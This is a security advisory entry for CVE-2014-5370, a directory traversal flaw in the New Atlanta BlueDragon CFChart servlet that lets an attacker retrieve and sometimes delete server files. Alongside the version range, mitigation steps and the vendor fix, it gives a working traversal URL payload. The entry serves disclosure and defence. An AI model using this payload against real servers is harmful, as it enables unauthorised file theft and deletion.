Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet

vendor:

BlueDragon CFChart Servlet

by:

Mike Westmacott

7.5

CVSS

HIGH

Arbitrary File Retrieval, Directory Traversal

CWE

Product Name: BlueDragon CFChart Servlet

Affected Version From: 7.1.1.17759

Affected Version To: 7.1.1.18527

Patch Exists: YES

Related CWE: CVE-2014-5370

CPE: a:new_atlanta:bluedragon_cfchart_servlet:7.1.1.17759

Metasploit:

Other Scripts:

Platforms Tested:

2014

Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet

The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances, the retrieved file is also deleted. An attacker can retrieve files from the server by using a specific URL and intercepting the server's response.

Mitigation:

Update to version 7.1.1.18527 or later to fix the vulnerability. Restrict access to the vulnerable servlet or remove it if not needed.

Source

Exploit-DB raw data:

Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet
CVE: CVE-2014-5370
Vendor: New Atlanta
Product: BlueDragon CFChart Servlet
Affected version: 7.1.1.17759
Fixed version: 7.1.1.18527
Reported by: Mike Westmacott
Details:

Exploit:

In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:

http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE

The browser will display a broken image, however the HTTP response will contain the file’s contents.

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/

Copyright:
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